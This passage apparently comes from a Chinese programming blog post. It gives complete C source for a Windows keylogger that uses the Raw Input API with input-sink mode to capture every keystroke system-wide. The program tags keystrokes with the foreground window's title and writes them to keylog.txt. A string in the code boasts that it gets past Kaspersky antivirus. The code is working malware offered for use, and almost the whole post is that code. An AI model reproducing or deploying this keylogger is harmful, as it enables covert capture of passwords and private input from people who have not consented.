		AddVKey(VK_RMENU, "Right MENU key"),
		AddVKey(0xA6, "Windows 2000/XP: Browser Back key"),
		AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"),
		AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"),
		AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"),
		AddVKey(0xAA, "Windows 2000/XP: Browser Search key"),
		AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"),
		AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"),
		AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"),
		AddVKey(0xAE, "Windows 2000/XP: Volume Down key"),
		AddVKey(0xAF, "Windows 2000/XP: Volume Up key"),
		AddVKey(0xB0, "Windows 2000/XP: Next Track key"),
		AddVKey(0xB1, "Windows 2000/XP: Previous Track key"),
		AddVKey(0xB2, "Windows 2000/XP: Stop Media key"),
		AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"),
		AddVKey(0xB4, "Windows 2000/XP: Start Mail key"),
		AddVKey(0xB5, "Windows 2000/XP: Select Media key"),
		AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"),
		AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"),
		AddVKey(0xB8, "Reserved"),
		AddVKey(0xB9, "Reserved"),
		AddVKey(VK_OEM_1, "Used for miscellaneous characters; it can vary by keyboard."
                          "Windows 2000/XP: For the US standard keyboard, the \';:\' key"),
		AddVKey(VK_OEM_PLUS, "Windows 2000/XP: For any country/region, the \'+\' key"),
		AddVKey(VK_OEM_COMMA, "Windows 2000/XP: For any country/region, the \',\' key"),
		AddVKey(VK_OEM_MINUS, "Windows 2000/XP: For any country/region, the \'-\' key"),
		AddVKey(VK_OEM_PERIOD, "Windows 2000/XP: For any country/region, the \'.\' key"),
		AddVKey(VK_OEM_2, "Used for miscellaneous characters; it can vary by keyboard."
                          "Windows 2000/XP: For the US standard keyboard, the \'/?\' key"),
		AddVKey(VK_OEM_3, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \'`~\' key"),
		AddVKey(0xC1, "Reserved"),
		AddVKey(0xC2, "Reserved"),
		AddVKey(0xC3, "Reserved"),
		AddVKey(0xC4, "Reserved"),
		AddVKey(0xC5, "Reserved"),
		AddVKey(0xC6, "Reserved"),
		AddVKey(0xC7, "Reserved"),
		AddVKey(0xC8, "Reserved"),
		AddVKey(0xC9, "Reserved"),
		AddVKey(0xCA, "Reserved"),
		AddVKey(0xCB, "Reserved"),
		AddVKey(0xCC, "Reserved"),
		AddVKey(0xCD, "Reserved"),
		AddVKey(0xCE, "Reserved"),
		AddVKey(0xCF, "Reserved"),
		AddVKey(0xD0, "Reserved"),
		AddVKey(0xD1, "Reserved"),
		AddVKey(0xD2, "Reserved"),
		AddVKey(0xD3, "Reserved"),
		AddVKey(0xD4, "Reserved"),
		AddVKey(0xD5, "Reserved"),
		AddVKey(0xD6, "Reserved"),
		AddVKey(0xD7, "Reserved"),
		AddVKey(0xD8, "Unassigned"),
		AddVKey(0xD9, "Unassigned"),
		AddVKey(0xDA, "Unassigned"),
		AddVKey(VK_OEM_4, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \'[{\' key"),
	    AddVKey(VK_OEM_5, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \'\\|\' key"),
		AddVKey(VK_OEM_6, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \']}\' key"),
	    AddVKey(VK_OEM_7, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \'single-quote/double-quote\' key"),

		AddVKey(VK_OEM_8, "Used for miscellaneous characters; it can vary by keyboard."),
		AddVKey(0xE0, "Reserved"),
		AddVKey(0xE1, "OEM specific"),
		AddVKey(VK_OEM_102, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),
		AddVKey(0xE3, "OEM specific"),
		AddVKey(0xE4, "OEM specific"),
		AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),
		AddVKey(0xE6, "OEM specific"),
		AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),
		AddVKey(0xE8, "Unassigned"),
		AddVKey(0xE9, "OEM specific"),
		AddVKey(0xEA, "OEM specific"),
		AddVKey(0xEB, "OEM specific"),
		AddVKey(0xEC, "OEM specific"),
		AddVKey(0xED, "OEM specific"),
		AddVKey(0xEF, "OEM specific"),
		AddVKey(0xF0, "OEM specific"),
		AddVKey(0xF1, "OEM specific"),
		AddVKey(0xF2, "OEM specific"),
		AddVKey(0xF3, "OEM specific"),
		AddVKey(0xF4, "OEM specific"),
		AddVKey(0xF5, "OEM specific"),
		AddVKey(VK_ATTN, "Attn key"),
		AddVKey(VK_CRSEL, "CrSel key"),
		AddVKey(VK_EXSEL, "ExSel key"),
		AddVKey(VK_EREOF, "Erase EOF key"),
		AddVKey(VK_PLAY, "Play key"),
		AddVKey(VK_ZOOM, "Zoom key"),
	    AddVKey(VK_NONAME, "Reserved"),
	    AddVKey(VK_PA1, "PA1 key"),
		AddVKey(VK_OEM_CLEAR, "Clear key"),
		AddVKey(0xFF, "Unknown Virtual-Key Code")
};


LPCSTR GetKeyName(USHORT VKey)
{
	for(int i = 0; i < sizeof(vkis); i++)
	{
		if(VKey == vkis[i].VKey)
			return vkis[i].VKname;
	}
	return vkis[--i].VKname;
}


#endif


 

实现过程如下,在应用程序中调用之。

 

  1. #include "rawinput.h"   
  2.   
  3. LRESULT CALLBACK WndProc(HWNDUINTWPARAMLPARAM);  
  4. HANDLE  InitLogFile(void);  
  5. bool    Intial(HINSTANCE hInstance);  
  6. BOOL    RegisitKeyBord(HWND hwnd);  
  7. PVOID   GetApiAdd(LPCSTR dllname, LPCSTR procname);  
  8.   
  9. HWND    prev = NULL;  
  10. HANDLE  hFile;  
  11. char *szInfo = "一个穿透卡巴的键盘记录(带窗口标题获取)利用原始设备输入变化RawInput 键盘记录在当前目录下的Keylog.txt中";  
  12. char *szTips = <A href="http://blog.csdn.net/yincheng01">http://blog.csdn.net/yincheng01</A>;  
  13.   
  14. int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE,PSTR,int iCmdShow)  
  15. {  
  16.     MSG  msg;  
  17.   
  18.     Intial(hInstance);  
  19.   
  20.     while(GetMessage(&msg, NULL, 0, 0))  
  21.     {  
  22.         TranslateMessage(&msg);  
  23.         DispatchMessage(&msg);  
  24.     }  
  25.   
  26.     return 0;  
  27. }  
  28.   
  29. bool Intial(HINSTANCE hInstance)  
  30. {  
  31.    HWND                hWnd;  
  32.      
  33.    WNDCLASS            wndClass;  
  34.   
  35.    wndClass.style          = CS_HREDRAW | CS_VREDRAW;  
  36.    wndClass.lpfnWndProc    = WndProc;  
  37.    wndClass.cbClsExtra     = 0;  
  38.    wndClass.cbWndExtra     = 0;  
  39.    wndClass.hInstance      = hInstance;  
  40.    wndClass.hIcon          = LoadIcon(NULL, IDI_APPLICATION);  
  41.    wndClass.hCursor        = LoadCursor(NULL, IDC_ARROW);  
  42.    wndClass.hbrBackground  = (HBRUSH)GetStockObject(WHITE_BRUSH);  
  43.    wndClass.lpszMenuName   = NULL;  
  44.    wndClass.lpszClassName  = TEXT("Twnd");  
  45.    RegisterClass(&wndClass);  
  46.      
  47.      
  48.    hWnd = CreateWindow(  
  49.       TEXT("Twnd"),   // window class name   
  50.       TEXT("键盘记录测试"),  // window caption   
  51.       WS_OVERLAPPEDWINDOW,      // window style   
  52.       CW_USEDEFAULT,            // initial x position   
  53.       CW_USEDEFAULT,            // initial y position   
  54.       CW_USEDEFAULT,            // initial x size   
  55.       CW_USEDEFAULT,            // initial y size   
  56.       NULL,                     // parent window handle   
  57.       NULL,                     // window menu handle   
  58.       hInstance,                // program instance handle   
  59.       NULL);                    // creation parameters   
  60.   
  61.    //将键盘记录写入日志文件   
  62.     hFile = InitLogFile();  
  63.   
  64.     if(!RegisitKeyBord(hWnd))  
  65.         return 0;  
  66.         
  67.     ShowWindow(hWnd, SW_SHOW);  
  68.     UpdateWindow(hWnd);  
  69.      
  70.     return 0;  
  71. }  
  72.   
  73. LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)  
  74. {  
  75.     HDC          hdc;  
  76.     PAINTSTRUCT  ps;    
  77.     char vk[256] = {'\0'};  
  78.     char ti[256] = {'\0'};  
  79.     UINT        dwSize;  
  80.     LPBYTE      lpb = NULL;  
  81.     RAWINPUT*   raw = NULL;  
  82.     DWORD       dwWritten = 0;  
  83.   
  84.     PGetRawInputData GetRawInputData = (PGetRawInputData)GetApiAdd("user32.dll""GetRawInputData");  
  85.     
  86.     switch(message)  
  87.     {  
  88.     case WM_INPUT:  
  89.        if(NULL == GetRawInputData)  
  90.        {  
  91.            DefWindowProc(hWnd, message, wParam, lParam);  
  92.            return 0;  
  93.        }   
  94.        GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));  
  95.        lpb = new BYTE[dwSize];  
  96.        if(lpb == NULL)   
  97.        {  
  98.            DefWindowProc(hWnd, message, wParam, lParam);  
  99.            return 0;  
  100.        }   
  101.          
  102.        if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)  
  103.            break;  
  104.          
  105.        raw = (RAWINPUT*)lpb;  
  106.          
  107.        if (raw->header.dwType == RIM_TYPEKEYBOARD)   
  108.        {  
  109.             if ( prev == NULL)  
  110.             {  
  111.                 prev = GetForegroundWindow();  
  112.                 GetWindowText(prev,ti,256);  
  113.                 wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));  
  114.             }  
  115.             else if ( prev == GetForegroundWindow() )  
  116.             {  
  117.                 wsprintf(vk,"%s",GetKeyName(raw->data.keyboard.VKey));  
  118.             }  
  119.             else  
  120.             {  
  121.                prev = GetForegroundWindow();  
  122.                GetWindowText(prev,ti,256);  
  123.                wsprintf(vk,"\r\n\r\n[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));  
  124.              }  
  125.   
  126.             if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)))  
  127.             {  
  128.                 SetFilePointer(hFile, 0, NULL, FILE_END);  
  129.                 WriteFile(hFile, vk, (DWORD)strlen(vk), &dwWritten, NULL);  
  130.             }  
  131.        }  
  132.        delete[] lpb;   
  133.        DefWindowProc(hWnd, message, wParam, lParam);  
  134.        return 0;  
  135.   
  136.    case WM_PAINT:  
  137.       hdc = BeginPaint(hWnd, &ps);  
  138.       TextOut(hdc, 10, 10, szInfo, strlen(szInfo));  
  139.       TextOut(hdc, 10, 30, szTips, strlen(szTips));  
  140.       EndPaint(hWnd, &ps);  
  141.       return 0;  
  142.   
  143.    case WM_DESTROY:  
  144.       PostQuitMessage(0);  
  145.       CloseHandle(hFile);  
  146.       return 0;  
  147.   
  148.    default:  
  149.       return DefWindowProc(hWnd, message, wParam, lParam);  
  150.    }  
  151. }  
  152.   
  153. HANDLE InitLogFile(void)  
  154. {  
  155.     HANDLE hFile = CreateFile("keylog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  
  156.     return hFile;  
  157. }  
  158.   
  159. PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)  
  160. {  
  161.     HMODULE hDll = LoadLibraryA(dllname);  
  162.     if(NULL == hDll)  
  163.         return NULL;  
  164.     PVOID pProc = GetProcAddress(hDll, procname);  
  165.     FreeLibrary(hDll);  
  166.     return pProc;  
  167. }  
  168.   
  169. BOOL RegisitKeyBord(HWND hwnd)  
  170. {  
  171.     if(NULL == hwnd)  
  172.         return false;  
  173.   
  174.     PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll""RegisterRawInputDevices");  
  175.     if(NULL == RegisterRawInputDevices)  
  176.         return false;  
  177.       
  178.     RAWINPUTDEVICE rid;  
  179.     rid.usUsagePage = 0x01;  
  180.     rid.usUsage = 0x06;  
  181.     rid.dwFlags = RIDEV_INPUTSINK;  
  182.     rid.hwndTarget = hwnd;  
  183.   
  184.     return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE));  
  185. }  

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值